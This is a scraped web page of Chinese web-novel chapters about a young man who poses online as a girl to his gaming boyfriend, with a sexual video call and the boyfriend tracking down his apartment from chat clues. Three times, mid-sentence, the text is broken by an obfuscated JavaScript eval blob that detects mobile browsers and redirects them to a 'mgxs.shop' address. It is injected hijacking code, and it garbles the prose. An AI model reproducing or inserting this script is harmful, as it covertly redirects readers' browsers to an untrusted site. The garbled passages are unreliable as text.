软萌的头像、搭配颜文字的朋友圈、贴着可爱贴纸的照片……为了营造人设，黎清平日里可谓是煞费苦心，呈现出来的完全就是刻板印象的小女生形象。 这样的一个人，为什么会穿着一件明显不合身的男装呢？ 黎清卡壳了，大脑疯狂思考。 “但…拿到手才发现买错了，买成了男款。不过这种衣服本来就比较中性，穿着也很暖和，就没退货。” 骗萧奕然这件是女装是万万不可的，信息随便去官网都能查到，没必要撒这么明显的谎。 思来想去，黎清索性承认自己买的就是男装，只是看错了而已，运动服大多没什么强烈的性别特征，男女装混穿倒也正常。 “而且这个码数还打折，比线下门店还便宜不少呢！” 为了找补，他更是连贪便宜的坏习惯都搬了出来。理由还算说得过去，也不知道萧奕然到底信了没有。生怕对方再问点什么，黎清赶紧转移话题： “你不是要看我吗，我现在就……” 刚才还遮遮掩掩的人跪坐在床上，迅速褪去了黑色的衣物，外套滑落，其下也彻底没了遮蔽。 白皙的肌肤、撞色的搭配、闪烁着羞赧和懵懂的眼睛。这颜色，这花纹，看上去像是一只… 小奶牛。 逃避可耻，但是有用。这招果然让萧奕然忘记了刚刚的插曲，呼吸粗重起来。 黎清根本不敢抬头，他怕看见萧奕然的表情，更怕看见手机屏幕里自己的样子，只能用侧身对着屏幕。 “左右动一下，宝宝。” 又在干这档子事了，黎清不懂。真的那么有意思吗？ 他一向需求淡泊，理解不了萧奕然的热衷，总觉得这已经很过分了。殊不知在没有见面的日子里，男友也时常想着他，视频里的量只是冰山一角而已。 黎清半拧着肩，由于某些不方便的原因，他没有完全转过身去。手肘支撑着身体，两条腿交叠着，腿弯处堆出柔软的起伏。 靠。真是要不行了。 只这一个动作，萧奕然就感觉鼻腔发痒，逐渐充血。 真不是自己定力不够，他想。这个视角真的太顶了，看上去就像*着似的。 向内收紧的弧线明明细到惊心，连接着的部位却一点都不窄，这个比例，真不知道该不该夸一句天赋异禀。 外套的事还没问清楚，但美食当前，萧奕然也没心思继续盘问。他盯着屏幕，咬紧后槽牙，满脑子都是自己从后方握住的场景，说出来估计要把人吓死。 “怎么不动了？” 见恋人“消极怠工”，萧奕然半哄着配合，“累了就躺一会儿，很快的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074319|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才不信呢…… 深知这人的德行，黎清皱起了脸。 但他说的没错，撑着身体确实很累，这才几分钟，自己的手臂已经开始打颤了。 最终，黎清听从了建议，放松身体躺了下去。由于姿势变换，正脸也显露出来，几缕刘海因重力划过了额间，半阖的眼睫也在面颊投出柔软的阴翳。如果只看脸，倒真是一副无比清纯天真的模样。 脸那么纯，穿的却那么色，反差不过如此。看见那道被挤出来的浅浅沟壑，萧奕然也是下半区控制上半脑，手里忙着，嘴里还不老实地胡说八道： “不是奶牛吗，怎么这么*？” 黎清又羞又气，迅速用手捂住窗户：“那你别看…” “错了！手拿开行不行，老公就喜欢这样的。” 吃到一半被撤盘子，萧奕然差点急眼，额头都是汗珠，动作却是一点不带停的。 在对方满是恳求的灼热目光中，黎清蹙紧了眉，最终还是移开了手，将指尖轻轻挪到锁骨上方。 真的很讨厌这种事… 有着柔顺黑发的人垂下眼帘。 可明明这么讨厌，为什么身体却开始发热了？ 黎清弓起背，视线慢慢模糊起来。 怎么会这样、难道…… 从未有过的感觉席卷了他，脑子很乱，腰也软了。平坦的小腹又热又涨，似乎里面正储存着一腔温热，晃一晃都要倾泻出去。 可怜的小清，明明没被人真正做什么，甚至连手都没牵上，却已经泪眼婆娑、满头是汗了。 体力这么差，估计很难撑过全程吧。 萧奕然舒服地有点飘飘然，又开始了一系列离奇的幻想。 说不定一下就哭了，哭着求自己轻点。家境应该不太好，不过没关系，老婆只用负责挥霍就好了，其余的什么也不用做。但必须要在出门前送上一个甜甜的吻，回家时自然也是一样。结婚的话就能时刻黏在一起了，想亲就亲，想抱就抱，再也不用隔着网线。到那个时候，就算对着我黏糊糊撒娇，我也绝对不会心软的。 从一开始的见面、牵手，到现在的交往甚至结婚，萧奕然的幻想一步步升级，甚至脑补了很多过分的细节。 “到底还要多久…” 被裹挟着，那头萧奕然火烧的旺，另一边也不好受。 不知什么时候起，黎清纤细的手臂已经卡在了腿中间，另一只则捂住了嘴。 愈发汹涌的刺激和摩擦下，他的眉毛皱起，露在外面的一双眼瞳微微上翻，连掌心下的舌头都吐了个尖。 一副完全发了痴的表情。 “**。” 看恋人这幅模样，萧奕然简直爽到天灵盖。他控制不住，甚至说了些过分的、介于羞耻与趣味间的称呼，语气急切到像命令，只恨自己不能穿过屏幕到对方身边去。 “不准并腿，手拿开给老公看看。” “不、不行。” “听话。” “呜…” 二人完全沉溺其中，室内的温度也不断攀升。恍惚间，黎清已经完全控制不了自己的声音和表情，只是凭借本能来作出反应。 他的经验匮乏，连成人制品都很少观看，可现在却打扮的像一块供人品尝的点心，而对方也毫不遮掩，仿佛要隔着屏幕将点心吞食入腹。 对黎清来说，比起萧奕然的行为，更恐怖的是自己的反应。 被要求做出一系列羞耻的行为时，明明可以拒绝或生气，但作为从小到大的“乖孩子”，他还是听从了“命令”。 什么时候才能结束…不然我真的…… 黎清的眼角悬着泪珠，这次是生理性的，连他自己都未察觉。可就在这时，一阵突兀的敲击声蓦然响起，一下，两下，清脆地落在了木质门板上。 “叩、叩。” 是敲门声，有人在门外。 意识到这个事实，黎清下意识睁大了眼，那滴将落未落的泪终于顺着脸颊滑下。 他看向屏幕，另一端的萧奕然也恰好抬起头。两人隔着屏幕四目相对，却谁也没有先开口。 ——大概是室友有事找我，要不……我们以后再打？ 迎着萧奕然不解的目光，黎清的心虚瞬间攀升到顶点。 他急忙伸出手想去按挂断键，可侧躺的姿势让动作慢了半拍，指尖第一次没能碰到屏幕。仿佛嫌这混乱还不够，门外的一道声音随之传来，嗓门穿透木板，清晰无误地传进了房间里来： “黎清，你有个快递落茶几上了，刚差点拆错，不会又是你买的裙子吧？” 果然是陶朗…但他怎么突然回来了？ 脑袋嗡嗡作响的感觉又回来了，但视频的时候是因为刺激，现在却是因为紧张。与此同时，萧奕然带着惊疑的声音也从听筒里传来：“什么裙……” “嘟——” 黎清用尽力气按下了红色按键，视频被骤然切断。 世界归于寂静，只留下漆黑的手机屏幕像一面冰冷的镜子，映出了一张血色尽失的脸。 22.第二十二章 挂断电话后，黎清瘫坐着，整个人像被抽空了力气。 许久未得到回复，敲门声已经停了下来，但陶朗的呼唤却仍在继续。他的嗓门比平时含糊，但穿透力可不小，丝毫没有夜间扰人的自觉。 “哈喽？室友，在吗——” 黎清僵在床上，心脏快撞出胸腔，每一下跳动都牵扯着紧绷的神经。他缓了好半天才深吸一口气，胡乱地套上外套和睡裤，手脚发软地挪到门边。 “什么事？我都躺床上了。” “这么早？才十点多啊。”陶朗的声音十分轻快，还带着笑意，“没什么事，晚上饭局散得早，他们非要续摊唱K，可是我五音不全……快递给你放门口了啊，先提前说好，我可没拆开，保护室友隐私这一块。” 听这语气，估计是喝酒了，说话比平时还絮叨。 但作为被“保护”的对象，黎清却没有任何闲聊的心思，只想赶紧结束对话。 “谢谢。放门口就行，我明天再拿。” “行吧，那我洗澡去了。” 脚步声趿拉着渐远，伴随着含糊不清的嘟囔，门外终于重归寂静。 黎清没有立刻开门，而是屏息等待了几分钟。直到听见浴室里传来哗啦啦的水声后，他才轻轻拧动把手，飞快地将那漏网的快递捡回来，随即迅速的关门、落锁。 背靠着冰凉的门板，他叹了口气，只感觉身心都受到了折磨。 可真正的折磨还远未结束。 他抓起手机，微信图标上刺眼的红点让他呼吸一窒，点开后却发现不是萧奕然，而是公众号的推送。 置顶的聊天框安安静静，最后一条还是对方挂视频前发的“宝宝好了吗”，随后便是视频挂断后的时间统计：32分41秒。 没有质问，没有语音，什么都没有，安静地让人心慌。 所以他到底听没听见？ 黎清心里没底，既不敢贸然开口，又怕沉默太久显得可疑，只好惴惴不安的试探道： 【清清绵绵冰：哇，刚才室友突然回来，吓死我了，手一抖就挂了】 【清清绵绵冰：[猫猫震惊]】 消息发出去后，他死死盯着屏幕。时间一分一秒过去，每一秒似乎都被无限拉长。就在他快要窒息的时候，聊天框顶部才冒出“对方正在输入…”的字样。 【然：听到了点声音，没听太清。你室友回来了？】 和想象中的不同，萧奕然的语气十分平静。既不关心黎清被吓到没有，也没有“办事”被迫中断的不满，注意力似乎放在了其他地方。 黎清的心沉了下去，他指尖发抖，但还是用尽力气编出又一个谎言：【嗯，她喝多了，男朋友送她回来的，说了两句话就走了】 说完他自己都觉得苍白，送人回家说得过去，可哪个女室友的男朋友会深夜敲门？语气还那么熟稔…… 黎清懊恼地咬唇，几乎能想象出萧奕然看到这条信息时皱眉的样子。 对面停顿了几秒才回复。 【然：哦。男朋友。】 短短四个字，两个句号。黎清却像被人盯穿似的后背发毛。 这气氛太诡异了，他实在扛不住，明知对方疑心已起，也只能装作毫无觉察的样子。 【清清绵绵冰：对呀，我室友也谈着呢，他们感情很好】 【清清绵绵冰：今天实在太累了，要不我们先睡觉吧？】 【然：嗯，睡吧。】 【然：晚安】 一场兴头正盛、难得肯配合的视频，就这么轻描淡写揭过了。 二人互道晚安，明明是代表祝福的两个字，浓浓的不安却从心底升起。黎清蜷进被子里，才发现身上那件要命的衣服还没换下来。细细的系带将皮肤勒出红痕，无时无刻不在提醒他刚才的荒唐。 他脱掉衣服，在黑暗里盯着天花板模糊的轮廓。 门外又传来动静，应该是陶朗洗完澡了，在客厅走动，接着打开了冰箱门。这些日常的、属于合租生活的正常声音，此刻却像放大了数倍，搅得黎清心神不宁。 不知不觉间，搬出来已经快两个月了。 合租生活比想象中顺利，除了有点自来熟外，陶朗其实是个很不错的室友。白天上课，下课了就在屋里打游戏，跟黎清的生活习惯完美契合。 两人有时在公共区域见面了也会聊天，都是大学生，话题无非也就围绕着那几个方面：学校，课程、或是最近的新闻。偶尔聊的投机，便自然的转到了彼此的共同爱好——游戏上。 当然，黎清是肯定不敢跟他“认亲”的，只含含糊糊说自己在玩一款小众游戏。陶朗不疑有他，并讲述起自己先前的经历。 “哎，其实我之前一直在玩天问，就是那个整天买推广，还被嘲圈钱大作的网游，不知道你听过没有。” 他主动抛出问题，黎清回以尬笑： “哈哈，听过啊，这游戏挺有名的。” “但是我最近不玩了，你知道为啥吗？这事儿其实还跟我游戏里认识的一个女生有关。” 听到女生二字时，黎清已经有了不好的预感，不知道该作出什么反应。不过好在陶朗的话够密，哪怕没回应也兀自讲了下去。 “那个女生是我之前打副本认识的，不过她从来不开麦，玩的也是男号，我就以为是个兄弟。” “后来有一天她突然换回了女号，还开麦跟我语音了。我当时…说实话有点激动，太久没跟妹子玩，以为自己的春天要到了，就介绍她进我们帮会。” “我靠，真不该介绍的！” 说到这里，陶朗一拍大腿，似乎无比懊悔，“结果后来她居然跟我们帮主好上了，氪条几百万的那种大佬，两个人整天甜蜜双排，搞得我我都不想上号了。” 原来陶朗淡游是因为这个吗？黎清微微一怔，仔细想想，他们刚认识那会儿还是经常聊天组队的，亲密度也算比较高。 但后来认识萧奕然后，黎清下定决心要骗他一波，几乎把所有时间和注意力都放在[独孤]身上，自然也就跟[男高]渐渐疏远了。 当时只以为对方是对游戏失去了兴趣，没想到背后竟藏着这么一出。 原来不是错觉，那会儿他真对[小清宝宝]有点意思啊？ 黎清被这迟来的领悟噎了一下，心情无比复杂。怎么说呢，诡异程度堪比前室友闻自己穿过的丝袜，还说闻到了香味吧… “没事，这有什么好伤心的，一个不行就再换一个呗，游戏里那么多女玩家。”黎清宽慰他道，谁知这话反倒更刺激陶朗。 “说的容易，你们这些有对象的人是不懂的。” 陶朗靠着沙发，发出单身的叹息：“好羡慕啊，真想找个女朋友，我也能给她买漂亮衣服的……” 从那以后，黎清看陶朗的目光都带了点慈爱，像是在看隔壁家的傻儿子。即便他今天突然敲门打扰，心里也没什么埋怨的情绪。 说来说去是我不好。 黎清翻了个身，将被褥拉到鼻子上，只露出一双眼睛。 也许该结束了，自己不可能永远瞒下去，萧奕然也迟早会发现真相。 可是…该怎么开口？ 说“对不起，我其实是个男的”？还是说“我们分手吧，我骗了你”？ 无论哪种，都注定是一场灾难。他知道萧奕然的性格，虽然对亲近的人好，但骨子里依然是骄傲的。如果让他知道投入了这么多感情的恋爱，从一开始就是骗局的话，应该永远也不会原谅自己。 黎清觉得自己好贪心。因为交到了朋友，所以将错就错。因为渴望陪伴，所以一再欺瞒。雪球远滚越大，渐渐到了他无力承受的地步。 小时候老师和家长总教导他要做个懂事的孩子，不要给别人添麻烦，于是他便照做了，把自己包裹成一个安静而省心的影子。 直到父亲带着新婚妻子和那个同父异母的弟弟回来时，才知道任性的小孩也有糖吃，只是这话在黎清身上不应验而已。 像是迟来的叛逆，他创造了“小清宝宝”这个身份，并任由自己沉溺其中，而这份任性果然也带来了祸患，谎言岌岌可危。 就在他几乎被翻江倒海的焦虑吞没时，枕边的手机又震动了一下，是陶朗发来的消息。 【185清纯男高：睡了没？冰箱里有我打包回来的小龙虾，你要不要来点】 黎清看着这行字，这种寻常的、不带任何目的的关心，此刻却成了压垮情绪的最后一根稻草。他打了几个字，又删掉，最后只回了一句：【不用了，谢谢，你吃吧。】 放下手机，他闭上眼，强迫自己入睡。 可今晚还睡得着吗？ . 萧奕然睡不着。 并且他心里清楚——小清肯定有事瞒着自己。 是从哪一点最先开始的？细细回想，痕迹早已多得数不清：视频总是不方便，地址也拒绝透露，见面的约定更是一次次推脱。再神经大条的人也该察觉出不对劲了。 其实萧奕然也曾自我反省：是不是自己表现得太急色了，让人误会一见面就要发生什么？ 毕竟小清是个性格保守的女孩，会因为这个担心倒也正常。 “见面后我绝对不会乱来的，只要你不答应，一根手指都不碰。柏拉图知道吗，我就是。” 闲聊时，萧奕然半开玩笑的把这个话题挑明，为的就是打消女友的顾虑。谁知小清却没有想象中的羞赧，反而磕磕巴巴的，也不知究竟在想什么。 难道我在她眼里就这么禽.兽不如吗…… 萧奕然有点郁闷，像防狼似的。 倒不是没想过最坏的可能。也许人家压根就不想跟你发展线下关系，网恋着玩玩而已，但这个念头很快就被按了下去。 ——开玩笑，我老婆那么心软，除了性格害羞以外，几乎对我百依百顺，怎么看都不像会欺骗感情的人。 再说了，萧奕然对自己还是有点自信的。不是他自傲，混迹现实与网络这么多年，富哥、少爷、大佬……哪个不是听腻了的称呼。 就哥们这条件，按照网上评选的标准，谦虚点也算个九分男友，应该不至于被嫌弃吧。 出于对女友的信任，以及某种男性的尊严，萧奕然选择性忽略了这种可能。可最近几次吵架让他越来越郁闷，也逼的他重新琢磨那些不对劲的细节： 当初搬家时，自己提议装个监控，却被直接秒拒，说“和室友能互相照应”。怎么刚搬进去就这么熟了？明明才初次见面。 还有地址这件事。相识以来，他送过不少东西，可小清却始终坚持自己下单。美其名曰“方便查物流”，真正的原因二人心照不宣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082792|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>回想最初谈恋爱时，朋友就曾给萧奕然支招，说这世上没有不爱钱的女人，只管砸就对了。 萧奕然当时不屑一顾：“你懂个屁，我老婆就不一样，懂什么叫灵魂伴侣吗。” 可现在捋起来起来，他却觉得不对劲。仔细想想，自己的女朋友居然从来没有找自己要过东西，连转账也常常放到过期。 明明她自己买个衣服都要精打细算，花对象的钱时却又开始客气。宁可去搞什么累死人的勤工俭学，也不愿朝男朋友撒个娇、开个口。 这种相处模式，说好听点是“爱的不是我的钱，而是我的人”，说直白点却是分的太得清，好像单方面在二人中间划了条线，泾渭分明，生怕越界一步。 可情侣之间本不该是这样的。 不对劲的地方太多，一次两次还能找借口：不见面是害羞、不视频是矜持、不给地址是为了方便、男款外套是不小心买错……可当这么多巧合堆在一起，便渐渐勾勒出一个令人不安的轮廓。 直到今晚。 女友仓促挂断电话前，那句清晰的敲门声戛然而止，虽然隔着听筒，但很明显能听出是个男性，边敲门边说话，亲昵的语气狠狠扎进了耳朵里。 为什么半夜会有男人在她门外？ 刹那间，所有线索如电光火石般串联，在脑海里砰地迸溅开来。怀疑与推测一环扣着一环，共同指向了一个萧奕然从未想过也完全无法接受的结论： 她正在和另一个男人同居。 光是想到这个可能，一股灼火便直冲头顶。萧奕然攥紧拳头，指甲深深掐进虎口。 几乎是下意识的，他伸手拉开抽屉，摸出那个被冷落许久的烟盒。 “咔哒”一声，打火机蹿起幽蓝的火苗，他深深吸了一口，久违的辛辣感灼过喉咙，烟雾在沉寂的房间里缓缓散开。 怪不得一直不肯见面。原来网上钓着他的同时，现实里另有归宿，自己不过是个备胎罢了。 那件外套也是这个人的吧。这男的究竟知不知道，自己敲门的时候，屋里的人正对着手机另一端发*，连舌头都收不回去了？ 萧奕然觉得自己仿佛被割裂成两半。一半沉进冰窖，曾以为甜蜜的恋爱转眼成空；另一半却燃着火，恨不得立刻掐住她的肩膀问个明白。 室友的男朋友……呵。 看着对方发来的那些漏洞百出的解释，萧奕然忽然笑了，气到极致反而冷静下来。 所以，接下来呢？ 按照常理，他早在听到敲门声后就该拨回去质问，逼她说出一切的真相。可他没有，不是不敢面对，而是觉得没有意义。 隔着屏幕能问出什么？无非是精心编织的谎言，或是一场注定两败俱伤的坦白。然后呢？然后关系破裂，只留下满地的疑窦与不甘，一段感情就这样消散在虚无缥缈的数据里。 我不要这样的结局。萧奕然想。 如果真的是一场三人游戏，那凭什么只有我备受煎熬。哪怕最终会结束，那也该在现实里划下句号。 烟雾缭绕中，他掐灭了烟，心里做出一个决定。 必须见面。无论她再找什么借口，无论真相多么不堪，无论这段感情背后藏着什么，他都要她站到自己面前一一亲口说清楚。 . 海城、工商管理专业、大学城、晚九点停运的公交、叫“靓女”的三花流浪猫、爱吃的网红炒饭店…… 这些全是平日闲聊时，小清无意间漏出的碎片。她大概自以为瞒得很好，可如今这个时代，校园里的流浪猫狗都有专属的公众号文章，小吃摊老板也懂得在社交平台揽生意，世上早已没有真正的秘密。 海城学校云集，叫的上名字的大学城也就那么几个片区。线索看似零散，拼凑起来却并不难找。 萧奕然之前不是查不到，只是没有去做。总觉得感情里应该更多些尊重，等她主动才更有仪式感。现在想来，自己那份小心翼翼的期待和恪守，简直像个一厢情愿的笑话。 他点开搜索引擎，输入了有关学校和专业的关键词。页面跳转，几所大学的简介依次排列。他一个个点进去，查看专业设置和校区分布。 根据已有信息，凌晨两点时，萧奕然最终锁定了【海城财经大学】。 校园的官网首页，文艺晚会的稿子还挂着，时间正是昨晚七点半，和她所说的“给晚会当后勤”正吻合。 他点开那篇报道，虽然知道希望渺茫，但还是下意识做了。照片里都是模糊的远景，穿着统一文化衫的学生们聚在一起，分不清谁是谁。 接下来就是住址，上学十分钟左右的步行路程，附近只有两个小区符合标准。学校分本科生部与研究生部，上课地点不同，如果要想快速抵达本科生教学楼，就必然要选择西门对面的那个小区。 他切换到卫星地图，将那片区域放大。而后又打开租房平台，按户型、租金和楼层筛选，范围进一步被缩小到其中某几栋楼中…… 找到了。 所有线索无声收束，最终指向了一个愈发清晰的坐标：海城财经大学西区，对面的金色花园小区，根据她曾经说过的“从窗户能看到学校操场的一角”，3号楼或5号楼的可能性最大。 做完这些，萧奕然脸上没什么表情。他关掉了网页，随即拿起手机，预定了近期飞往海城的机票。 23.第二十三章 那之后的第二天，黎清本以为萧奕然会生气。 毕竟上次就是这样，发现黎清和别人双排后，这人明明醋得厉害，明面上却不说，背地里搞小动作，直到被发现了才肯承认。 而这次的情况显然更加严重：不仅视频被打断，门外传来男声，就连自己事后编的解释也没什么说服力。 本来黎清已经准备好迎接质问了，甚至在备忘录里删删打打，模拟了几版腹稿，结果萧奕然却什么都没说。 风平浪静。 两人相安无事的继续生活，游戏，闲聊，报备日常。琐碎的分享构成彼此的世界，就像所有普通的网恋情侣那样。 再三确认一切正常后，黎清那颗悬着的心终于慢慢落回实处。 他想，或许是自己想多了。也许萧奕然根本没听清，或者听清了也没多想。毕竟“室友的男朋友”这个说法虽然牵强，但也不是完全说不通。 他把外套塞到洗衣机里清洗，晾晒。那件该死的内衣则被扔进垃圾桶，像处理什么罪证似的，看都不敢多看一眼。 心里揣着事，睡觉也不太踏实。两天后的上午，黎清顶着一对熊猫眼去了学校。 好在最后一门是开卷考试，题目不算难，考点也提前给了。他握着笔，浑浑噩噩地涂着答题卡，直到铃声打响，这学期的课程至此全部结束。 随着人流走出教学楼时，冬日的阳光苍白冷淡地洒下来。黎清站在台阶上，看着周围兴奋讨论假期计划的学生们，忽然有些恍惚。 假期到了…该做什么呢？ 离春节还有将近一个多月，大多数学生会选择直接回家，也有人准备趁年前出门旅行。可黎清既不想回去，也没钱出去玩。 以往放假，他都会去乡下的爷爷奶奶家。可前年爷爷去世后，奶奶就被父亲接到了城里。他不想回到那个所谓的新家，在父亲新组建的家庭中，自己只是个格格不入的局外人。 黎清翻开微信，找到那个备注为“爸”的聊天窗口。上一次对话还停留在三个月前，他告知拿到了奖学金，对方却莫名来了段说教，让他别骄傲，回复的欲望瞬间清零。 他组织了一下语言，简单交代自己在这边找了个实习，机票难买就不回去了，不久后收到了一个“行”，以及一笔转账。 黎清盯着那个数字，五百块，在海城这座城市里，大概只够支撑十几天最基础的生活费。 ……还没萧奕然请吃顿饭的钱多呢。 虽然没什么可比性，但这个念头还是不受控制地冒了出来。黎清撇撇嘴，腹诽后还是点击收款，不拿白不拿。 算了，不想了，放假应该开心点才是。 他揣起手机，朝租住的公寓走去。走到门口时，恰好看见陶朗正从房间里搬出一个行李箱，客厅里也堆了大包小包的东西。 “你要回家了吗？” 看着忙前忙后的黄毛，黎清搭了把手，顺嘴问了句。 “对，去隔壁市玩两天就回去，我们家那边规矩多，年底要到处走动，不早点回去不行啊。” 陶朗嘴上抱怨，脸上却带着笑。繁杂的风俗固然讨厌，但能见到家人总归是开心的。 “你呢？”陶朗反问他，“你什么时候回？” “再过几天吧，还没定。” “行，那你临走前记得把燃气关了，门窗反锁。不用的插线板可以断电，但总电闸千万别拉啊，冰箱里还有东西呢。” “嗯，知道了。” 送走了絮絮叨叨的陶朗，房子骤然变得冷清。像是要躲避这种氛围，黎清骤然从沙发上站起，钻进了自己的小窝里。 果然放假了就该狠狠玩游戏啊！ 他打开电脑，随即投入了昏天黑地的天问之旅，顺手还给几个老客户存的长期单清了。玩着喜欢的游戏，听着支付宝到账的声音，心里总算舒畅了不少。 天色在不知不觉中逐渐暗沉下来，窗外亮起零星的灯火。黎清揉了揉有些酸涩的眼睛，看了一眼电脑右下角的时间，居然玩了快五个小时。 算上刚才代练的收入和父亲转来的那笔钱，今日净收入568元，作为一个开始，似乎也不算坏。 看着电脑屏幕，黎清在心中郑重宣告：从今天起，我要做一个冷酷无情的工作机器，一切只为利益，再也没什么能动摇我的情绪…… 然而，这个雄心勃勃的誓还没念完，电脑屏幕右下角就弹出一个熟悉的系统提示： 【您的情缘[爱妻小清]已上线。】 几乎是同时，放在桌边的手机屏幕也亮了起来，弹出一条微信消息。 【然：放假了？】 【然：看你的天问助手，从下午就一直玩到现在】 天问助手是官方推出的手机App，能和游戏账号绑定，方便玩家在不登录电脑客户端的情况下查看角色状态、接收游戏通知。 其中还有个功能，就是可以看见好友的在线时长。用户可以设置关闭对外展示，但这个选项对情缘关系无效。 真是多此一举的设计。 黎清在心里偷偷吐槽这个功能，但也只是偷偷的。 【清清绵绵冰：嗯，终于放假啦】 【清清绵绵冰：一闲下来就犯网瘾】 【清清绵绵冰：(^-^)】 【然：玩的开心就好】 不知怎么，虽然一切正常，但最近跟萧奕然聊天时，黎清总是没由来的心慌。 尤其是谈到放假，他们之前貌似约好放假后见面的——当然，黎清从一开始就没打算真的赴约。他当时想的是能拖一天是一天，如果萧奕然硬要见面的话，就在放假前坦白好了。 可等到日期真的将近，曾经反复提及的萧奕然却再也没有说起这回事，坦白的事也不了了之。 是忘了？还是…不想见了。 压在心头的石头松动了一点，本该觉得庆幸，可胸口却莫名不安。 【然：吃饭了吗？】 对方的消息打断了黎清的走神。 【清清绵绵冰：还没呢，刚打完游戏，打算点个外卖】 【然：想吃什么，我给你点】 【清清绵绵冰：不用啦，我自己可以】 【然：选完发代付给我】 好吧，看他这个语气，这事儿应该没得商量。 对于男友偶尔的霸道，黎清一开始还有点不适应，但相处久了也慢慢习惯了。也许对萧奕然来说，给别人花钱只是表达在意的一种方式。 【清清绵绵冰：好吧】 黎清平时吃饭很凑合，通常是泡面或打包食堂，不怎么点外卖，更没用过代付功能。 他特地咨询了一下软件客服，确认付款方只能看到店铺的大致名称，无法获取具体收货地址后，才放心把链接发了过去。 【清清绵绵冰：[来自美团分享＞肯德基宅急送（万*店），帮我付一下餐费好吗～]】 【清清绵绵冰：选好了喔】 因为馋油炸食品，黎清点了份KFC的单人套餐。 【然：就一个汉堡一杯可乐，吃太少了】 也不少了吧。黎清看了眼屏幕，这汉堡是双层肉饼呢，够自己吃了。 但在对方的“监督”下，他还是加了一份上校鸡块和一只蛋挞。付款完毕，等着外卖员送货上门就好了。 玩游戏玩的有点累，黎清放下鼠标，等待途中就靠在椅背上晃来晃去，跟萧奕然有一搭没一搭地闲聊着。 【然：假期有什么打算吗？】 【清清绵绵冰：没什么打算，就是像之前一样，宅着】 【然：不回家？】 【清清绵绵冰：倒也不急啦】 【然：嗯，趁年前可以出去转转】 聊着聊着，黎清突然嗅到了一丝信号，再这么下去，话题早晚要拐到危险的方向。 为了堵住这个可能，他连忙敲字： 【清清绵绵冰：室友今天回去了，我现在一个人独占公寓，想干什么干什么，可不得多享受两天】 他这话本意是转移注意，顺便解释自己为什么不着急回家。可消息发出去后，萧奕然捕捉到的重点却和他预想的有些不同。 【然：回去了？你室友？】 【清清绵绵冰：对呀】 【然：那你现在是一个人住？】 黎清眨了眨眼，有点不明所以。这不是明摆着吗。 【清清绵绵冰：嗯嗯】 【然：房子里确定没别人了？】 什么啊… 被一连串砸了三个问号，黎清有点懵了。公寓统共就住了两个人，现在走了一个，自然就只剩下自己了，简单的小学算数题而已，有什么好反复问的。 对方的提问方式太突兀，字里行间透着股诡异的急切，搞得黎清心里有点发怵。 他想象力过剩的脑子瞬间不受控制地闪过许多恐怖片桥段：长期盘踞在家中的鬼魂、藏在床底或衣柜的变态、甚至是被砌进墙里的尸骨……短短几秒钟里，这间刚刚还觉得安静舒适的公寓，似乎真的多了些不该有的存在，活人、死人和活死人都转了一圈，一个赛一个惊悚。 他忍不住打了个寒颤。 【清清绵绵冰：当然了！我们就两人合租】 【清清绵绵冰：干嘛突然问这个，好吓人】 都怪他胡乱说话，把人都吓到了。放在平时，萧奕然早该笑嘻嘻地道歉了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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是神经过敏了吧，最近一直心情不好，情绪起伏也大，所以才这么疑神疑鬼的，看什么都不对劲…… 纷杂的思绪在脑子里盘旋，胃部的抽痛也越来越清晰。意识到自己是饿过头了，黎清深吸一口气，强压下心悸，在屏幕上敲出故作轻松的文字： 【清清绵绵冰：外卖怎么还没到啊，快饿死了qwq】 【然：已经到了。】 【清清绵绵冰：咦】 【清清绵绵冰：可是我没听到门铃啊】 “叮咚——” 就在消息发出去的同时，清脆的门铃响起，回荡在空荡又安静的客厅里。 对于此时心神不宁又饥肠辘辘的黎清来说，这个外卖简直像救命稻草。他几乎是弹起身，穿过昏暗的客厅，快步走到了玄关口。可就在指尖即将触到门把手时，一股异样的感觉却窜上心头。 这个外卖员，是不是太安静了？ 平时点外卖时，外卖员总会边敲门边大喊，催促屋主快点收货，赶着送完这单奔赴下一家。可今天这位，除了那声门铃外，就再也没制造出任何多余的响动。 没有脚步声，没有塑料袋的窸窣，甚至没有一丝呼吸般的声响。 仿佛很有耐心，又仿佛…… 在屏息等待。 黎清的手僵在半空，心跳如擂鼓。他凑到猫眼前向外看，视野里是一片完完全全的漆黑。 “谁啊？” 他轻声朝门外问了句，回答他的只有潮水般的寂静。 也许是外卖员走得急，把东西放在地上就离开了，外面根本没人。楼道里是智能感应灯，没人自然就黑了。 黎清试图用这个解释说服自己，可那股不安感却挥之不去。 仿佛被什么驱使着，他没有直接开门，而是缓缓伏下身，趴在了冰凉的地板上，将视线投向那条狭窄的、几乎忽略不计的门缝。 门缝太窄了，几乎什么也看不清，但就在这有限的视野边缘，一丝昏黄的光晕分明从外面透了进来。 有光？ 可刚刚从猫眼看，外面明明是黑的啊。 一秒，两秒，外面依旧什么动静都没有。可光晕却没有消失，一个事实也慢慢清晰：感应灯还亮着，就说明外面有人。而那个人，此刻很可能正无声地、近距离地站在猫眼的正前方，以至于挡住了所有光线。 